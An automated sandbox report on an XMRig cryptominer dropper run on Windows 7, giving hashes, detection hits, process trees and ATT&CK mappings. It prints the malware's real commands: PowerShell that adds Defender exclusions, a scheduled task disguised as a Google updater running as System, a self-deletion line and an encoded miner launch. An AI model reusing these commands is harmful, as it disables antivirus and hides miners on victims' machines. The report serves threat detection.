xmrig | 165a0de3cbb54178e47215a0ad412c91f1cbbcefc3c3d35d8124c5972d1c1950

max time kernel
449s
max time network
1784s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
23-01-2024 19:27

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General

Target

grhsghsGHswgh/Yvdp8t5knpQz7sFB.exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 9 IoCs

Processes:

Yvdp8t5knpQz7sFB.exeupdater.execonhost.exe

description	pid	process	target process
PID 1760 created 1368	1760	Yvdp8t5knpQz7sFB.exe	Explorer.EXE
PID 1760 created 1368	1760	Yvdp8t5knpQz7sFB.exe	Explorer.EXE
PID 1760 created 1368	1760	Yvdp8t5knpQz7sFB.exe	Explorer.EXE
PID 1760 created 1368	1760	Yvdp8t5knpQz7sFB.exe	Explorer.EXE
PID 2932 created 1368	2932	updater.exe	Explorer.EXE
PID 2932 created 1368	2932	updater.exe	Explorer.EXE
PID 2932 created 1368	2932	updater.exe	Explorer.EXE
PID 2256 created 1368	2256	conhost.exe	Explorer.EXE
PID 2932 created 1368	2932	updater.exe	Explorer.EXE

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 29 IoCs

miner

Processes:

resource	yara_rule
behavioral31/memory/2084-71-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2084-73-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2084-77-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2084-79-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2084-81-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2084-83-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2084-85-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2084-87-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2084-89-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2084-91-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2084-93-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2084-95-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2084-97-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2084-99-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2084-101-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2084-103-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2084-105-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2084-107-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2084-109-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2084-111-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2084-113-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2084-115-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2084-117-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2084-119-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2084-121-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2084-123-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2084-130-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2084-132-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2084-134-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

Processes:

cmd.exe

pid process

2792 cmd.exe
Executes dropped EXE 1 IoCs

Processes:

updater.exe

pid process

2932 updater.exe
Loads dropped DLL 1 IoCs

Processes:

taskeng.exe

pid process

2752 taskeng.exe

pid	process
2792	cmd.exe

pid	process
2932	updater.exe

pid	process
2752	taskeng.exe

UPX packed file 30 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral31/memory/2084-66-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2084-71-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2084-73-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2084-77-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2084-79-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2084-81-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2084-83-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2084-85-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2084-87-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2084-89-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2084-91-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2084-93-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2084-95-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2084-97-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2084-99-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2084-101-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2084-103-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2084-105-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2084-107-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2084-109-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2084-111-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2084-113-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2084-115-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2084-117-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2084-119-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2084-121-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2084-123-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2084-130-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2084-132-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2084-134-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

Processes:

updater.exe

description	pid	process	target process
PID 2932 set thread context of 2256	2932	updater.exe	conhost.exe
PID 2932 set thread context of 2084	2932	updater.exe	conhost.exe

Drops file in Program Files directory 4 IoCs

Processes:

Yvdp8t5knpQz7sFB.exeupdater.execmd.execmd.exe

description	ioc	process
File created	C:\Program Files\Google\Chrome\updater.exe	Yvdp8t5knpQz7sFB.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exeschtasks.exe

pid process

2064 schtasks.exe
2776 schtasks.exe
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.

System Information Discovery
T1082

Processes:

WMIC.exe

pid process

868 WMIC.exe

pid	process
2064	schtasks.exe
2776	schtasks.exe

pid	process
868	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

Processes:

powershell.exeWMIC.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 40ba7d53914eda01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

Processes:

Yvdp8t5knpQz7sFB.exepowershell.exepowershell.exepowershell.exeupdater.exepowershell.exepowershell.execonhost.exe

pid	process
1760	Yvdp8t5knpQz7sFB.exe
1760	Yvdp8t5knpQz7sFB.exe
2828	powershell.exe
1760	Yvdp8t5knpQz7sFB.exe
1760	Yvdp8t5knpQz7sFB.exe
2652	powershell.exe
1760	Yvdp8t5knpQz7sFB.exe
1760	Yvdp8t5knpQz7sFB.exe
1760	Yvdp8t5knpQz7sFB.exe
1760	Yvdp8t5knpQz7sFB.exe
2500	powershell.exe
2932	updater.exe
2932	updater.exe
2324	powershell.exe
2932	updater.exe
2932	updater.exe
1956	powershell.exe
2932	updater.exe
2932	updater.exe
2256	conhost.exe
2256	conhost.exe
2932	updater.exe
2932	updater.exe
2932	updater.exe
2932	updater.exe

Suspicious use of AdjustPrivilegeToken 31 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exeupdater.exeWMIC.execonhost.exe

description	pid	process
Token: SeDebugPrivilege	2828	powershell.exe
Token: SeDebugPrivilege	2652	powershell.exe
Token: SeDebugPrivilege	2500	powershell.exe
Token: SeDebugPrivilege	2324	powershell.exe
Token: SeDebugPrivilege	1956	powershell.exe
Token: SeDebugPrivilege	2932	updater.exe
Token: SeAssignPrimaryTokenPrivilege	868	WMIC.exe
Token: SeIncreaseQuotaPrivilege	868	WMIC.exe
Token: SeSecurityPrivilege	868	WMIC.exe
Token: SeTakeOwnershipPrivilege	868	WMIC.exe
Token: SeLoadDriverPrivilege	868	WMIC.exe
Token: SeSystemtimePrivilege	868	WMIC.exe
Token: SeBackupPrivilege	868	WMIC.exe
Token: SeRestorePrivilege	868	WMIC.exe
Token: SeShutdownPrivilege	868	WMIC.exe
Token: SeSystemEnvironmentPrivilege	868	WMIC.exe
Token: SeUndockPrivilege	868	WMIC.exe
Token: SeManageVolumePrivilege	868	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	868	WMIC.exe
Token: SeIncreaseQuotaPrivilege	868	WMIC.exe
Token: SeSecurityPrivilege	868	WMIC.exe
Token: SeTakeOwnershipPrivilege	868	WMIC.exe
Token: SeLoadDriverPrivilege	868	WMIC.exe
Token: SeSystemtimePrivilege	868	WMIC.exe
Token: SeBackupPrivilege	868	WMIC.exe
Token: SeRestorePrivilege	868	WMIC.exe
Token: SeShutdownPrivilege	868	WMIC.exe
Token: SeSystemEnvironmentPrivilege	868	WMIC.exe
Token: SeUndockPrivilege	868	WMIC.exe
Token: SeManageVolumePrivilege	868	WMIC.exe
Token: SeLockMemoryPrivilege	2084	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

Processes:

powershell.execmd.exepowershell.exetaskeng.exepowershell.exeupdater.execmd.exe

description	pid	process	target process
PID 2652 wrote to memory of 2064	2652	powershell.exe	schtasks.exe
PID 2652 wrote to memory of 2064	2652	powershell.exe	schtasks.exe
PID 2652 wrote to memory of 2064	2652	powershell.exe	schtasks.exe
PID 2792 wrote to memory of 2636	2792	cmd.exe	choice.exe
PID 2792 wrote to memory of 2636	2792	cmd.exe	choice.exe
PID 2792 wrote to memory of 2636	2792	cmd.exe	choice.exe
PID 2500 wrote to memory of 2536	2500	powershell.exe	schtasks.exe
PID 2500 wrote to memory of 2536	2500	powershell.exe	schtasks.exe
PID 2500 wrote to memory of 2536	2500	powershell.exe	schtasks.exe
PID 2752 wrote to memory of 2932	2752	taskeng.exe	updater.exe
PID 2752 wrote to memory of 2932	2752	taskeng.exe	updater.exe
PID 2752 wrote to memory of 2932	2752	taskeng.exe	updater.exe
PID 1956 wrote to memory of 2776	1956	powershell.exe	schtasks.exe
PID 1956 wrote to memory of 2776	1956	powershell.exe	schtasks.exe
PID 1956 wrote to memory of 2776	1956	powershell.exe	schtasks.exe
PID 2932 wrote to memory of 2256	2932	updater.exe	conhost.exe
PID 1300 wrote to memory of 868	1300	cmd.exe	WMIC.exe
PID 1300 wrote to memory of 868	1300	cmd.exe	WMIC.exe
PID 1300 wrote to memory of 868	1300	cmd.exe	WMIC.exe
PID 2932 wrote to memory of 2084	2932	updater.exe	conhost.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Yvdp8t5knpQz7sFB.exe
"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Yvdp8t5knpQz7sFB.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:1760

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1368

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2828

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2652

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
3⤵
- Creates scheduled task(s)
PID:2064

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Yvdp8t5knpQz7sFB.exe"
2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2792

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2500

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
3⤵
PID:2536

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2324

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1956

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
3⤵
- Creates scheduled task(s)
PID:2776

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:1300

C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe qtdiqnkejoz
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:2256

C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2084

C:\Windows\System32\choice.exe
choice /C Y /N /D Y /T 3
1⤵
PID:2636

C:\Windows\system32\taskeng.exe
taskeng.exe {C8B8F4CD-B36C-48AA-AFAD-845D316F2EE3} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2752

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2932

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
3⤵
- Drops file in Program Files directory
PID:1436

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
1⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:868

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe
Filesize
400KB

MD5
38dc4a596ca9aabaecf372751ba6b873

SHA1
5a9559b8d252f4b4586ae3c97300d61b4e5f19a4

SHA256
a304728f28c1e97b13548e9e801c6d624d2ca2167eb87f0cf3765bd2b15acf5e

SHA512
0e69f7e1f09a095de2ab1c31de8e2fbbc96d1e34e6659f104d0ff83afa09c1bd0fe8da7c6f18b7e16e4267db4f183c60edad94a8613e00873e432ed6c94b0e52

Download Submit
C:\Program Files\Google\Chrome\updater.exe
Filesize
85KB

MD5
6d835ae840b123583fe5b901693c0ef8

SHA1
7881f0cbb1d28dcd43770797b3016ac16a35614f

SHA256
cc2acf93bfe8a62da521f47f602caecbb20b649b827fb611d9444e2a0791d7fb

SHA512
8ed1e6f4bb27dcfb455f7970ee874401ac0216dd479ef6dffed5fcb928e275f0929d5a7cebd494f0725c16c93e02da5f82d0587b5a25c73fe015f3e14d2eae96

Download Submit
C:\Program Files\Google\Libs\g.log
Filesize
198B

MD5
37dd19b2be4fa7635ad6a2f3238c4af1

SHA1
e5b2c034636b434faee84e82e3bce3a3d3561943

SHA256
8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

SHA512
86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\95CITAJIYA7ROOYXZ01T.temp
Filesize
7KB

MD5
e744f92fe878114221b9f1e906c3985b

SHA1
1ce84ea0a17d674030dc90f25cd05f48b1b8fb2b

SHA256
859463e9b166c26ce274bddefa0359470f7b1f9d05690483054241a81baed8ce

SHA512
f212086dbd993df9b7a6470f757d4cde4d7f4e873193cefc743ac5c4597bd631d0b9fbbc6b0f597f4d117dbc726bcb7d0f9fe459710344caf38cdd36742ad8fc

Download Submit
\Program Files\Google\Chrome\updater.exe
Filesize
584KB

MD5
eeae3e44349af5c856e43129cfb1694f

SHA1
d8a56ac155e52724e7406d671f4253a51f7d66ec

SHA256
4fb749f456c7fcfaa09e4288845f9ae191e8040182f80de55b35cc922c74a13d

SHA512
9cece65c331fcb69c347180211c88dcca5f46a3425a03c9f7d8c907fa38713b7a419fa5ab8c110f4d348f3388d53d531b133d50d4408deabc33ecd24bb41c4a1

Download Submit
memory/1760-0-0x000000013FBC0000-0x000000013FDD1000-memory.dmp

Filesize
2.1MB

Download
memory/1760-28-0x000000013FBC0000-0x000000013FDD1000-memory.dmp

Filesize
2.1MB

Download
memory/1956-54-0x000007FEF5330000-0x000007FEF5CCD000-memory.dmp

Filesize
9.6MB

Download
memory/1956-58-0x000007FEF5330000-0x000007FEF5CCD000-memory.dmp

Filesize
9.6MB

Download
memory/1956-55-0x0000000001590000-0x0000000001610000-memory.dmp

Filesize
512KB

Download
memory/1956-53-0x0000000001590000-0x0000000001610000-memory.dmp

Filesize
512KB

Download
memory/1956-57-0x0000000001590000-0x0000000001610000-memory.dmp

Filesize
512KB

Download
memory/1956-56-0x0000000001590000-0x0000000001610000-memory.dmp

Filesize
512KB

Download
memory/1956-52-0x000007FEF5330000-0x000007FEF5CCD000-memory.dmp

Filesize
9.6MB

Download
memory/2084-89-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2084-95-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2084-134-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2084-132-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2084-130-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2084-123-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2084-121-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2084-119-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2084-117-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2084-115-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2084-113-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2084-111-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2084-109-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2084-107-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2084-105-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2084-103-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2084-101-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2084-99-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2084-97-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2084-93-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2084-91-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2084-87-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2084-85-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2084-83-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2084-81-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2084-79-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2084-77-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2084-75-0x0000000000330000-0x0000000000350000-memory.dmp

Filesize
128KB

Download
memory/2084-74-0x0000000000310000-0x0000000000330000-memory.dmp

Filesize
128KB

Download
memory/2084-73-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2084-67-0x00000000002B0000-0x00000000002D0000-memory.dmp

Filesize
128KB

Download
memory/2084-66-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2084-71-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2084-69-0x0000000000330000-0x0000000000350000-memory.dmp

Filesize
128KB

Download
memory/2084-68-0x0000000000310000-0x0000000000330000-memory.dmp

Filesize
128KB

Download
memory/2256-70-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/2256-76-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/2324-46-0x0000000001320000-0x00000000013A0000-memory.dmp

Filesize
512KB

Download
memory/2324-51-0x000007FEF4990000-0x000007FEF532D000-memory.dmp

Filesize
9.6MB

Download
memory/2324-50-0x0000000001320000-0x00000000013A0000-memory.dmp

Filesize
512KB

Download
memory/2324-49-0x0000000001320000-0x00000000013A0000-memory.dmp

Filesize
512KB

Download
